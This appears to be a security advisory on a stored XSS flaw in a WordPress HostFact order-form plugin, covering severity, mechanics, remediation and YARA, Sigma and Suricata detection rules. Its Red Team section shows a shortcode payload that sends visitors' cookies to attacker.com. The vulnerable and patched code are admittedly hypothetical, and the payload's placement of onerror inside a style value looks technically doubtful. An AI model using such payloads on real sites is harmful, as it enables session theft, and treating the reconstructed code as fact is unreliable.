CVE-2024-11413

Executive Summary

CVE-2024-11413 is a Stored Cross-Site Scripting (XSS) vulnerability found in the HostFact bestelformulier integratie plugin for WordPress, affecting all versions up to and including 1.1. The flaw resides in the plugin's bestelformulier shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache or Nginx). The plugin is used to integrate HostFact ordering forms into WordPress sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authenticated access but is easy to exploit once obtained. The stored nature increases persistence and reach.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The bestelformulier shortcode accepts user-supplied attributes (e.g., id, class, style). The plugin fails to sanitize these inputs before rendering them in the HTML output. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with malicious JavaScript in an attribute, such as:

[bestelformulier id="1" class="my-class" style="background:url('x') onerror='alert(1)'"]

When the page is rendered, the unsanitized attribute is output directly into the HTML, causing the browser to execute the injected script. The script runs in the context of the victim's session, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.1): The shortcode handler likely outputs attributes directly without escaping:

function bestelformulier_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => '', 'style' => ''), $atts);
    $output = '<div class="bestelformulier" id="' . $atts['id'] . '" style="' . $atts['style'] . '">';
    // ... rest of the form
    return $output;
}

Patched Code (hypothetical): The fix would involve escaping each attribute using esc_attr():

function bestelformulier_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => '', 'style' => ''), $atts);
    $output = '<div class="bestelformulier" id="' . esc_attr($atts['id']) . '" style="' . esc_attr($atts['style']) . '">';
    // ... rest of the form
    return $output;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with HostFact bestelformulier integratie plugin <= 1.1
• Attacker account with Contributor-level access or higher

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [bestelformulier id="1" class="x" style="background:url('x') onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"]
   

4. Publish the post.
5. When any user (including admins) visits the page, the script executes, sending their cookies to the attacker's server.

Note: No public exploit code is available at this time.

Blue Team

Detection Steps:

• Monitor for posts/pages containing the bestelformulier shortcode with suspicious attributes (e.g., onerror, onload, javascript:).
• Review user activity logs for Contributor-level users creating posts with unusual shortcode usage.
• Use web application firewalls (WAF) to block common XSS patterns in shortcode attributes.

Hunting Query: Search WordPress database for posts containing the shortcode with potentially malicious attributes:

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%[bestelformulier%'
AND post_content REGEXP 'onerror|onload|javascript:';

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/hostfact-bestelformulier-integratie/ (presence of the plugin)
• Shortcode pattern: [bestelformulier ... style="...onerror=..."]
• Network traffic: Outbound requests to attacker-controlled domains from WordPress admin pages
• Log entries: Unusual post creation by Contributor-level users with shortcode content

Detection Engineering

YARA Rule

rule CVE_2024_11413_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in HostFact bestelformulier integratie plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11413"
    strings:
        $shortcode = /\[bestelformulier[^\]]*\]/ nocase
        $xss_pattern = /(onerror|onload|onclick|onmouseover|javascript:)/i
    condition:
        $shortcode and $xss_pattern
}

Sigma Rule

title: CVE-2024-11413 - Stored XSS via HostFact Bestelformulier Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects posts containing the bestelformulier shortcode with XSS attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        post_content|contains: '[bestelformulier'
        post_content|re: '(onerror|onload|onclick|onmouseover|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of style attributes without event handlers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11413 - Stored XSS via HostFact Bestelformulier Shortcode"; flow:to_server,established; content:"[bestelformulier"; nocase; pcre:"/(onerror|onload|onclick|onmouseover|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode attributes.

Long-term Fix:

• The vendor must release a patched version that properly escapes shortcode attributes using esc_attr().
• Alternatively, replace the plugin with a secure alternative.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block malicious shortcode injection.
• Manually audit all posts/pages for the vulnerable shortcode and remove or sanitize them.

Valters IT